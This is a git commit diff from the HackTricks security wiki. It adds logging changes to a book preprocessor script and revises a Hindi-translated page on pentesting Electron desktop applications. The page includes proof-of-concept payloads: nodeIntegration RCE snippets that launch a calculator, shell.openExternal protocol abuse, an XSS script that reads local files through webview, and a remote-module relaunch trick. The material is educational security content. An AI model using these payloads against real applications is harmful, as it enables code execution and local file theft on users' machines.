Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-01-07 18:15:53 +00:00
parent 55b8b1632e
commit 9bf5abe10b
3 changed files with 148 additions and 37 deletions

1
.gitignore vendored
View File

@ -10,3 +10,4 @@ scripts/*
book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log

View File

@ -7,7 +7,14 @@ from os import path
from urllib.request import urlopen, Request
logger = logging.getLogger(__name__)
logging.basicConfig(filename='hacktricks-preprocessor.log', filemode='w', encoding='utf-8', level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
handler = logging.FileHandler(filename='hacktricks-preprocessor.log', mode='w', encoding='utf-8')
handler.setLevel(logging.DEBUG)
logger.addHandler(handler)
handler2 = logging.FileHandler(filename='hacktricks-preprocessor-error.log', mode='w', encoding='utf-8')
handler2.setLevel(logging.ERROR)
logger.addHandler(handler2)
def findtitle(search ,obj, key, path=(),):
@ -27,7 +34,7 @@ def findtitle(search ,obj, key, path=(),):
def ref(matchobj):
logger.debug(f'Match: {matchobj.groups(0)[0].strip()}')
logger.debug(f'Ref match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
@ -45,19 +52,29 @@ def ref(matchobj):
try:
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
if "#" in href:
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
try:
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
print(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
logger.debug(e)
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
sys.exit(1)
@ -69,6 +86,7 @@ def ref(matchobj):
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
@ -76,19 +94,19 @@ def files(matchobj):
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
logger.debug(root)
logger.debug(files)
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.debug(e)
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
logger.error(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
logger.error(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
@ -97,6 +115,7 @@ def files(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
@ -126,15 +145,15 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n#]*(?:#(.*))?)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, chapter['content'])
new_content = re.sub(regex, files, new_content)
new_content = add_read_time(new_content)
chapter['content'] = new_content

View File

@ -4,14 +4,14 @@
## Introduction
Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटंड (**Chromium**) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है।
Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटंड (**Chromium**) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है।
आमतौर पर आप इलेक्ट्रॉन ऐप कोड को एक `.asar` एप्लिकेशन के अंदर पाएंगे, कोड प्राप्त करने के लिए आपको इसे निकालना होगा:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electron ऐप के स्रोत कोड में, `packet.json` के अंदर, आप `main.js` फ़ाइल पा सकते हैं जहाँ सुरक्षा कॉन्फ़िग्स सेट किए गए हैं।
Electron ऐप के स्रोत कोड में, `packet.json` के अंदर, आप `main.js` फ़ाइल को पा सकते हैं जहाँ सुरक्षा कॉन्फ़िग्स सेट किए गए हैं।
```json
{
"name": "standard-notes",
@ -20,7 +20,7 @@ Electron ऐप के स्रोत कोड में, `packet.json` के
Electron के 2 प्रक्रिया प्रकार हैं:
- मुख्य प्रक्रिया (NodeJS तक पूर्ण पहुंच है)
- रेंडरर प्रक्रिया (सुरक्षा कारणों से NodeJS की पहुंच सीमित होनी चाहिए)
- रेंडरर प्रक्रिया (सुरक्षा कारणों से NodeJS की सीमित पहुंच होनी चाहिए)
![](<../../../images/image (182).png>)
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
कुछ **RCE payloads** [यहाँ](https://7as.es/electron/nodeIntegration_rce.txt) से:
कुछ **RCE पेलोड** [यहाँ](https://7as.es/electron/nodeIntegration_rce.txt) से:
```html
Example Payloads (Windows):
<img
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
इस सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड होती है**, इसलिए इस पास **Node APIs तक असीमित पहुंच है**:
इस सेटिंग में निर्दिष्ट स्क्रिप्ट **renderer में अन्य स्क्रिप्ट्स से पहले लोड होती है**, इसलिए इसे **Node APIs तक असीमित पहुंच** है:
```javascript
new BrowserWindow{
webPreferences: {
@ -156,8 +156,8 @@ _**contextIsolation**_ **वेब पृष्ठ स्क्रिप्ट
यदि संदर्भ अलग नहीं हैं, तो एक हमलावर कर सकता है:
1. **renderer में मनमाना JavaScript निष्पादित करें** (XSS या बाहरी साइटों पर नेविगेट करना)
2. **बिल्ट-इन विधि को ओवरराइट करें** जो प्रीलोड या Electron आंतरिक कोड में उपयोग की जाती है अपने फ़ंक्शन के लिए
1. **renderer में मनमाना JavaScript निष्पादित करें** (XSS या बाहरी साइटों पर नेविगेशन)
2. **बिल्ट-इन विधि को ओवरराइट करें** जो प्रीलोड या Electron आंतरिक कोड में अपने फ़ंक्शन के लिए उपयोग की जाती है
3. **ओवरराइट की गई फ़ंक्शन** का उपयोग करने के लिए **ट्रिगर करें**
4. RCE?
@ -177,17 +177,17 @@ electron-contextisolation-rce-via-ipc.md
### क्लिक इवेंट बायपास करें
यदि लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **एक सामान्य बाएं क्लिक के बजाय एक मध्य क्लिक** करके उन्हें बायपास कर सकते हैं।
यदि लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **एक सामान्य बाएं क्लिक के बजाय एक मध्य क्लिक** करके उन्हें बायपास करने में सक्षम हो सकते हैं।
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
इस उदाहरणों के बारे में अधिक जानकारी के लिए देखें [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) और [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
जब एक Electron डेस्कटॉप एप्लिकेशन को तैनात किया जाता है, तो `nodeIntegration` और `contextIsolation` के लिए सही सेटिंग्स सुनिश्चित करना महत्वपूर्ण है। यह स्थापित किया गया है कि **क्लाइंट-साइड रिमोट कोड निष्पादन (RCE)** जो प्रीलोड स्क्रिप्ट या मुख्य प्रक्रिया से Electron के मूल कोड को लक्षित करता है, इन सेटिंग्स के साथ प्रभावी रूप से रोका जाता है।
जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या न विंडो खोलता है, तो विशिष्ट इवेंट लिसनर्स ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या न विंडो खोलता है, तो विशिष्ट इवेंट लिसनर्स ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
@ -200,7 +200,9 @@ webContents.on("will-navigate", function (event, url) {}
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS सुरक्षा सर्वोत्तम प्रथाओं की सलाह देती है कि `openExternal` फ़ंक्शन के साथ अविश्वसनीय सामग्री को स्वीकार न करें, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE की ओर ले जा सकता है। ऑपरेटिंग सिस्टम विभिन्न प्रोटोकॉल का समर्थन करते हैं जो RCE को ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, कोई [इस संसाधन](https://positive.security/blog/url-open-rce#windows-10-19042) का संदर्भ ले सकता है, जिसमें इस कमजोरियों का शोषण करने में सक्षम Windows प्रोटोकॉल के उदाहरण शामिल हैं।
Electron JS सुरक्षा सर्वोत्तम प्रथाओं की सलाह देती है कि `openExternal` फ़ंक्शन के साथ अविश्वसनीय सामग्री को स्वीकार न करें, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE का कारण बन सकता है। ऑपरेटिंग सिस्टम विभिन्न प्रोटोकॉल का समर्थन करते हैं जो RCE को ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और आगे की व्याख्या के लिए, कोई [इस संसाधन](https://positive.security/blog/url-open-rce#windows-10-19042) का संदर्भ ले सकता है, जिसमें इस भेद्यता का शोषण करने में सक्षम Windows प्रोटोकॉल के उदाहरण शामिल हैं।
macos में, `openExternal` फ़ंक्शन का उपयोग मनमाने कमांड को निष्पादित करने के लिए किया जा सकता है जैसे कि `shell.openExternal('file:///System/Applications/Calculator.app')`
**Windows प्रोटोकॉल शोषण के उदाहरणों में शामिल हैं:**
```html
@ -222,13 +224,13 @@ window.open(
)
</script>
```
## आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation
## Reading Internal Files: XSS + contextIsolation
**`contextIsolation` को अक्षम करना `<webview>` टैग के उपयोग की अनुमति देता है**, जो `<iframe>` के समान है, स्थानीय फ़ाइलों को पढ़ने और निकालने के लिए। एक उदाहरण दिया गया है जो इस भेद्यता का उपयोग करके आंतरिक फ़ाइलों की सामग्री पढ़ने का प्रदर्शन करता है:
**`contextIsolation` को अक्षम करना `<webview>` टैग के उपयोग की अनुमति देता है**, जो `<iframe>` के समान है, स्थानीय फ़ाइलों को पढ़ने और निकालने के लिए। एक उदाहरण दिया गया है जो इस भेद्यता का लाभ उठाने के लिए आंतरिक फ़ाइलों की सामग्री पढ़ने का प्रदर्शन करता है:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
इसके अलावा, **एक आंतरिक फ़ाइल पढ़ने** के लिए एक और विधि साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की भेद्यता को उजागर करती है। इसमें डेटा निकालने के लिए एप्लिकेशन का शोषण करने के लिए एक स्क्रिप्ट इंजेक्ट करना शामिल है:
इसके अलावा, **एक आंतरिक फ़ाइल पढ़ने** के लिए एक और विधि साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की भेद्यता को उजागर करती है। इसमें डेटा निकालने और एप्लिकेशन का लाभ उठाने के लिए एक स्क्रिप्ट इंजेक्ट करना शामिल है:
```html
<br /><br /><br /><br />
<h1>
@ -258,24 +260,112 @@ frames[0].document.body.innerText
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
**`openInternally`** को कॉल यह तय करेगा कि **link** **desktop window** में **खुला** जाएगा क्योंकि यह प्लेटफ़ॉर्म से संबंधित एक लिंक है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा।
**`openInternally`** को कॉल करने से यह तय होगा कि **link** **desktop window** में **खुली** जाएगी क्योंकि यह प्लेटफ़ॉर्म से संबंधित एक लिंक है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा।
यदि फ़ंक्शन द्वारा उपयोग किया गया **regex** **bypasses** के लिए **vulnerable** है (उदाहरण के लिए **subdomains** के डॉट्स को **escape** न करके), तो एक हमलावर XSS का दुरुपयोग कर सकता है **एक नई विंडो खोलने के लिए** जो हमलावर के बुनियादी ढांचे में स्थित होगी **उपयोगकर्ता से क्रेडेंशियल्स** मांगते हुए:
यदि फ़ंक्शन द्वारा उपयोग किया गया **regex** **bypasses** के लिए **vulnerable** है (उदाहरण के लिए **subdomains** के डॉट्स को **escape** न करके), तो एक हमलावर XSS का दुरुपयोग कर सकता है ताकि **एक नई विंडो खोली जा सके** जो हमलावर की अवसंरचना में स्थित होगी **उपयोगकर्ता से क्रेडेंशियल्स** मांगते हुए:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## **उपकरण**
## Remote module
Electron Remote module **renderer processes को मुख्य प्रक्रिया APIs तक पहुँचने की अनुमति देता है**, जो Electron एप्लिकेशन के भीतर संचार को सुविधाजनक बनाता है। हालाँकि, इस मॉड्यूल को सक्षम करना महत्वपूर्ण सुरक्षा जोखिमों को पेश करता है। यह एप्लिकेशन के हमले की सतह को बढ़ाता है, जिससे यह क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों जैसी कमजोरियों के प्रति अधिक संवेदनशील हो जाता है।
> [!TIP]
> हालाँकि **remote** मॉड्यूल कुछ APIs को मुख्य से renderer प्रक्रियाओं में उजागर करता है, RCE प्राप्त करना केवल घटकों का दुरुपयोग करके सीधा नहीं है। हालाँकि, घटक संवेदनशील जानकारी को उजागर कर सकते हैं।
> [!WARNING]
> कई ऐप्स जो अभी भी remote मॉड्यूल का उपयोग करते हैं, इसे इस तरह से करते हैं कि **renderer प्रक्रिया में NodeIntegration को सक्षम करना आवश्यक है**, जो एक **बड़ा सुरक्षा जोखिम** है।
Electron 14 से `remote` मॉड्यूल को सुरक्षा और प्रदर्शन कारणों से कई चरणों में सक्षम किया जा सकता है, इसलिए इसे **उपयोग न करने की सिफारिश की जाती है**
इसे सक्षम करने के लिए, सबसे पहले **मुख्य प्रक्रिया में इसे सक्षम करना आवश्यक है**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
फिर, रेंडरर प्रक्रिया उस मॉड्यूल से ऑब्जेक्ट्स को इस तरह आयात कर सकती है:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** कुछ दिलचस्प **functions** को दर्शाता है जो **`app`** ऑब्जेक्ट द्वारा remote module से उपलब्ध हैं:
- **`app.relaunch([options])`**
- **वर्तमान** उदाहरण को **बंद** करके और एक नया **लॉन्च** करके एप्लिकेशन को **पुनः प्रारंभ** करता है। **ऐप अपडेट** या महत्वपूर्ण **राज्य परिवर्तनों** के लिए उपयोगी।
- **`app.setAppLogsPath([path])`**
- **ऐप लॉग्स** को संग्रहीत करने के लिए एक निर्देशिका **परिभाषित** या **बनाता** है। लॉग्स को **`app.getPath()`** या **`app.setPath(pathName, newPath)`** का उपयोग करके **प्राप्त** या **संशोधित** किया जा सकता है।
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- एक निर्दिष्ट **प्रोटोकॉल** के लिए वर्तमान निष्पादन योग्य को **डिफ़ॉल्ट हैंडलर** के रूप में **पंजीकृत** करता है। यदि आवश्यक हो तो आप एक **कस्टम पथ** और **आर्गुमेंट्स** प्रदान कर सकते हैं।
- **`app.setUserTasks(tasks)`**
- **जंप लिस्ट** (Windows पर) में **टास्क श्रेणी** में कार्य **जोड़ता** है। प्रत्येक कार्य नियंत्रित कर सकता है कि ऐप कैसे **लॉन्च** होता है या कौन से **आर्गुमेंट्स** पास किए जाते हैं।
- **`app.importCertificate(options, callback)`**
- सिस्टम के **सर्टिफिकेट स्टोर** में एक **PKCS#12 सर्टिफिकेट** **आयात** करता है (केवल Linux)। परिणाम को संभालने के लिए एक **callback** का उपयोग किया जा सकता है।
- **`app.moveToApplicationsFolder([options])`**
- एप्लिकेशन को **Applications folder** (macOS पर) में **स्थानांतरित** करता है। Mac उपयोगकर्ताओं के लिए एक **मानक स्थापना** सुनिश्चित करने में मदद करता है।
- **`app.setJumpList(categories)`**
- **Windows** पर एक **कस्टम जंप लिस्ट** को **सेट** या **हटाता** है। आप उपयोगकर्ता के लिए कार्यों को व्यवस्थित करने के लिए **श्रेणियाँ** निर्दिष्ट कर सकते हैं।
- **`app.setLoginItemSettings(settings)`**
- **लॉगिन** पर कौन से **निष्पादन योग्य** **विकल्पों** के साथ लॉन्च होते हैं, इसे **कॉन्फ़िगर** करता है (केवल macOS और Windows)।
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
Electron में सिस्टम प्रेफरेंस तक पहुँचने और सिस्टम इवेंट्स को उत्सर्जित करने के लिए **प्राथमिक API****subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, और **setUserDefault** जैसे मेथड इस मॉड्यूल का **भाग हैं**
**Example usage:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **स्थानीय macOS सूचनाओं** के लिए **सुनता** है NSDistributedNotificationCenter का उपयोग करके।
* **macOS Catalina** से पहले, आप **nil** को CFNotificationCenterAddObserver में पास करके **सभी** वितरित सूचनाओं को स्निफ कर सकते थे।
* **Catalina / Big Sur** के बाद, सैंडबॉक्स किए गए ऐप्स अभी भी **कई घटनाओं** (उदाहरण के लिए, **स्क्रीन लॉक/अनलॉक**, **वॉल्यूम माउंट**, **नेटवर्क गतिविधि**, आदि) के लिए **नाम** द्वारा सूचनाओं को **सदस्यता** ले सकते हैं।
### **getUserDefault / setUserDefault**
* **NSUserDefaults** के साथ **इंटरफेस** करता है, जो macOS पर **ऐप्लिकेशन** या **वैश्विक** प्राथमिकताएँ संग्रहीत करता है।
* **getUserDefault** संवेदनशील जानकारी, जैसे **हाल के फ़ाइल स्थान** या **उपयोगकर्ता का भौगोलिक स्थान** **प्राप्त** कर सकता है।
* **setUserDefault** इन प्राथमिकताओं को **संशोधित** कर सकता है, जो एक ऐप की **कॉन्फ़िगरेशन** को प्रभावित कर सकता है।
* **पुराने Electron संस्करणों** (v8.3.0 से पहले) में, केवल NSUserDefaults का **मानक सूट** **सुलभ** था।
## Shell.showItemInFolder
यह फ़ंक्शन दिए गए फ़ाइल को फ़ाइल प्रबंधक में दिखाता है, जो **स्वतः फ़ाइल को निष्पादित** कर सकता है।
अधिक जानकारी के लिए देखें [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) एक उपकरण है जो Electron-आधारित अनुप्रयोगों में गलत कॉन्फ़िगरेशन और सुरक्षा एंटी-पैटर्न की पहचान करता है।
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron अनुप्रयोगों के लिए एक ओपन सोर्स VS कोड प्लगइन है जो Electronegativity का उपयोग करता है।
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) कमजोर तृतीय पक्ष पुस्तकालयों की जांच करने के लिए
- [**Electro.ng**](https://electro.ng/): आपको इसे खरीदना होगा
## प्रयोगशालाएँ
## Labs
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) में आप कमजोर Electron अनुप्रयोगों का शोषण करने के लिए एक प्रयोगशाला पा सकते हैं।
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) में आप कमजोर Electron ऐप्स का शोषण करने के लिए एक प्रयोगशाला पा सकते हैं।
कुछ कमांड जो आपको प्रयोगशाला में मदद करेंगे:
```bash
@ -300,7 +390,7 @@ cd vulnerable1
npm install
npm start
```
## **संदर्भ**
## **References**
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
@ -309,5 +399,6 @@ npm start
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Electron सुरक्षा के बारे में अधिक शोध और लेख [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}